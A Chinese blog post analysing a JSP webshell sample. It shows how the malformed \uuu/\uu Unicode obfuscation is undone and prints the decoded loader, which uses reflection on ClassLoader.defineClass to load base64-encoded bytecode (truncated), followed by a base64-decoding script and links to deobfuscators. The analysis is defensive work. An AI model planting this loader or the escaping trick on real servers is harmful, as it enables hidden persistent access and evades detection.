畸形jsp木马解码小记

2022-06-24

N 人看过

Jsp木马

偶然获取一个jsp木马样本，其内容为畸形unicode编码，通过替换\uuu和\uu 统一替换成 \u 再进行Unicode解码。 demo.zip

<%\uuu0074\uuu0072\uu0079\u0020\u007b\uu000a\uuu0020   \uu0043l\uuu0061s\u0073\uu004co\uu0061de\u0072\uuu0020cl\uuu007aLo\uu0061d\u0065\uu0072\u0020\uuu003d T\uu0068\u0072e\uu0061\u0064\uu002ecu\u0072rentT\uuu0068r\uu0065a\uu0064\u0028\uu0029\uu002eg\u0065\uu0074\uuu0043o\uu006ete\u0078\uuu0074\uu0043la\uu0073\uu0073\u004c\u006f\u0061\u0064\u0065r(\uu0029\u003b\uu000a\uuu0020  \u0020St\u0072in\u0067\u0020\uuu0063l\uu007a\uuu004e\u0061m\uu0065\uuu0020=\uuu0020\uuu0022\u0052id\uu0064li\uuu006e\u0067s\u0022;\u000a \uuu0020\u0020 ...................
..................\uuu0028E\u0078\uu0063\uuu0065pt\uuu0069on\uu0020\uu0065\uuu0029\uu0020{\u007d%>

解码过程

使用工具对其进行解码，repo：https://github.com/yumusb/dejce

python3 dejce.py -i redirect.jsp -o webshell.jsp

解码结果如下：

<%try {
    ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
    String clzName = "Riddlings";
    String clzBytecodeBase64Str = "yv66vgAAADIBHwcAcAcAdAgAMAcAj.......";
    byte[] bytecode = null;
    try {
        Class base64Clz = clzLoader.loadClass("java.util.Base64");
        Class decoderClz = clzLoader.loadClass("java.util.Base64$Decoder");
        Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
        bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, clzBytecodeBase64Str);
    } catch (ClassNotFoundException e) {
        Class datatypeConverterClz = clzLoader.loadClass("javax.xml.bind.DatatypeConverter");
        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, clzBytecodeBase64Str);
    }
    java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    defineClzMethod.setAccessible(true);
    Class clz = (Class) defineClzMethod.invoke(clzLoader, clzName, bytecode, 0, bytecode.length);
    clz.newInstance();
} catch (Exception e) {}%>

大致意思就是使用类加载器加载base编码后的字节码文件：yv66vgAAADIBHwcAcAcAdAgAMAcAj.......

之后使用python脚本进行base64解码，：

#!/usr/bin/env python3
# encoding: utf-8
import base64

s=b"yv66vg.............."
with open ("444.class", "wb") as f:
    f.write(base64.b64decode(s))

压缩444.class为444.zip，并进行反混淆解密，两个版本都需要，运行的话只需要gui版的，同时还需要安装一个工具进行辅助反混淆，repo:

https://github.com/java-deobfuscator/deobfuscator/releases/download/1.5.2/deobfuscator.jar

https://github.com/java-deobfuscator/deobfuscator-gui/releases/download/3.3/deobfuscator-gui.jar

https://www.azul.com/downloads/?package=jdk-fx